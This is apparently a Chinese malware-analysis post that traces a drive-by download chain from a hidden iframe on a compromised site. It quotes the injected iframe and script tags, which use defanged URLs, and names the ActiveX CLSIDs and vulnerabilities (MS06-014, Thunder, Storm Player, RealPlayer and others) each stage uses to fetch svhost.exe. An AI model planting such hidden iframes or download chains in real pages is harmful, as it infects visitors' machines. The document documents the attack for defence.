自动进入

简介: 自动进入

在网页hxxp://www.z*j***5*0.***.cn/c*f**.asp?user_name=pp365pp上发现代码:

/---

<iframe width=0 height=0 src="hxxp://www.v*h***68.***.cn/lj/lfad.html?ad05"></iframe>

---/

#1 hxxp://www.v*h***68.***.cn/lj/lfad.html?ad05 包含代码:

/---

<iframe src="news.html" width=100 height=0></iframe>

---/

#1.1 hxxp://www.v*h***68.***.cn/lj/news.html

输出代码:

/---

<script src=hxxp://www.v*h***68.***.cn/lj/ms06014.js></script>

<iframe width=100 height=0 src=hxxp://www.v*h***68.***.cn/lj/Thunder.html></iframe>

<iframe style=display:none src="hxxp://www.v*h***68.***.cn/lj/GLWORLD.html"></iframe>

<iframe style=display:none src="hxxp://www.v*h***68.***.cn/lj/StormII.html"></iframe>

<sCrIpT LAnGuAgE="jAvAsCrIpT" src=hxxp://www.v*h***68.***.cn/lj/real.js></script>

<iframe style=display:none src="hxxp://www.v*h***68.***.cn/lj/Real.html"></iframe>

---/

#1.1.1 hxxp://www.v*h***68.***.cn/lj/ms06014.js

利用MS06-014漏洞下载 hxxp://www.v*h***68.***.cn/lj/svhost.exe

文件说明符 : D:/test/svhost.exe

#1.1.2 hxxp://www.v*h***68.***.cn/lj/Thunder.html

利用迅雷(DPClient.Vod,clsid:F3E70CEA-956E-49CC-B444-73AFE593AD7F)漏洞下载hxxp://www.v*h***68.***.cn/lj/svhost.exe

#1.1.3 hxxp://www.v*h***68.***.cn/lj/GLWORLD.html

利用联众(GLIEDown.IEDown.1,clsid:61F5C358-60FB-4A23-A312-D2B556620F20)漏洞下载hxxp://www.v*h***68.***.cn/lj/svhost.exe

#1.1.4 hxxp://www.v*h***68.***.cn/lj/StormII.html

利用暴风影音(MPS.StormPlayer.1,clsid:6BE52E1D-E586-474f-A6E2-1A85A9B4D9FB)漏洞下载hxxp://www.v*h***68.***.cn/lj/svhost.exe

#1.1.5 hxxp://www.v*h***68.***.cn/lj/real.js

利用RealPlayer(IERPCtl.IERPCtl.1)漏洞下载hxxp://www.v*h***68.***.cn/lj/svhost.exe

#1.1.6 hxxp://www.v*h***68.***.cn/lj/Real.html

利用RealPlayer(clsid:CFCDAA03-8BE4-11CF-B84B-0020AFBBCCFA)漏洞下载hxxp://www.v*h***68.***.cn/lj/svhost.exe

#1.1.7 利用 BaiduBar.Tool 下载 hxxp://www.v*h***68.***.cn/lj/svhost.cab,内含 svhost.exe


相关文章
|
3月前
|
开发框架 .NET 数据库连接
操作筛选器的 1 个应用实例:自动启用事务
操作筛选器的 1 个应用实例:自动启用事务
|
6月前
|
弹性计算 运维 Shell
自动配置rsynd
【4月更文挑战第29天】
43 0
|
人工智能 Python
项目自动贩卖机
用python语言编写项目自动贩卖机。
307 3
|
6月前
|
弹性计算 运维 Ubuntu
自动检测并处理系统更新
【4月更文挑战第30天】
120 0
|
消息中间件 架构师 数据处理
处理数据时点按钮,数据完数据时会自动执行的问题
处理数据时点按钮,数据完数据时会自动执行的问题
|
安全 程序员 API
向大厂看齐!为自己的程序增加自动转储的功能!
向大厂看齐!为自己的程序增加自动转储的功能!
|
6月前
|
SQL JSON 监控
无需重启应用,动态采集任意点位日志
借助日志治理的现有能力,我们能够在不重启应用的前提下,动态采集任意点位信息,同时由于日志治理在采集信息时会引入链路信息,在分析复杂调用问题时能够起到很好的效果。
95 0
无需重启应用,动态采集任意点位日志
|
人工智能 JavaScript IDE
自动写代码?别闹了!
这几天,GitHub 上有个很火的插件在抖音刷屏了——Copilot。 这个神器有啥用呢?简单来讲,它就是一款由人工智能打造的编程辅助工具。 我们来看看它有啥用。
350 0
|
监控
zabbix配置自动恢复动作
zabbix配置自动恢复动作
305 0
zabbix配置自动恢复动作
下一篇
无影云桌面